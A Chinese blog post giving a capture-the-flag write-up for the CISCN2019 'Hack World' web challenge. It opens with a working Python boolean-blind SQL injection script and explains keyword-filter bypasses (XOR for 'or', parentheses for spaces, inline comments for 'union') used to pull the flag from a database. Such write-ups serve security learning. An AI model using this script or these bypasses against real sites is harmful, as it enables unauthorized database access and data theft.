美文网首页
[CISCN2019 华北赛区 Day2 Web1]Hack W

[CISCN2019 华北赛区 Day2 Web1]Hack W

作者: 佛系小沈 | 来源:发表于2020-03-14 14:09 被阅读0次

    先贴脚本(本题采用布尔盲注方法)

    import requests
    import time
    
    url = "http://41db567b-d04b-4b32-9001-3d5197d7cbab.node3.buuoj.cn/index.php"      #这里url换掉
    payload = {
        "id" : ""
    }
    result = ""
    for i in range(1,50):
        l = 33
        r =130
        mid = (l+r)>>1
        while(l<r):
            payload["id"] = "0^" + "(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i,mid)
            html = requests.post(url,data=payload)
            #print(payload)        #这里可以输出payload,想看payload的可以看
            if "Hello" in html.text:
                l = mid+1
            else:
                r = mid
            mid = (l+r)>>1
        if(chr(mid)==" "):
            break
        result = result + chr(mid)
        print(result)
    print("flag: " ,result)
    
    

    再讲原因:

    首先,buu已经提示是注入了,先sqlmap跑一波。看到的同学就别跑了,没用,试过了。

    图片.png
    学着大佬的操作,先fuzz一波。啥是fuzz呢,fuzz叫模糊测试,说人话就是瞎几把乱测。然后发现以下的关键词全部被过滤··· 图片.png
    union,or,and,||,&&,order,limit,*,;,%23,#,",还有空格都被过滤了。
    union过滤,可以用/*!union*/来过滤,本题虽然用不到,但是稍微记一下。
    or过滤,可以用^异或符号来绕过。
    空格过滤,可以用括号绕过。
    接下来,看题目: 图片.png
    好了,问题来了,题目的第一行是“你想要的在flag表的flag字段”???
    真那么简单?
    然后试试select flag from flag,嗯对没错,因为过滤空格,肯定不能用。那么调整一下:select(flag)from(flag) 图片.png
    然后试试0 or select flag from flag,因为空格及or的过滤=>0^select(flag)from(flag)
    还是bool(false)。
    然后猜测因为限制显示的原因,取单个字符先转换位ascii码后再进行比较,也就是0^(ascii(substr((select(flag)from(flag)),1,1))>1)
    之后,用脚本,跑一下就行了,flag:flag{509304c2-c61a-49c5-8db7-5757bbb8a011}

    相关文章

      网友评论

          本文标题:[CISCN2019 华北赛区 Day2 Web1]Hack W

          本文链接:https://www.haomeiwen.com/subject/axnvshtx.html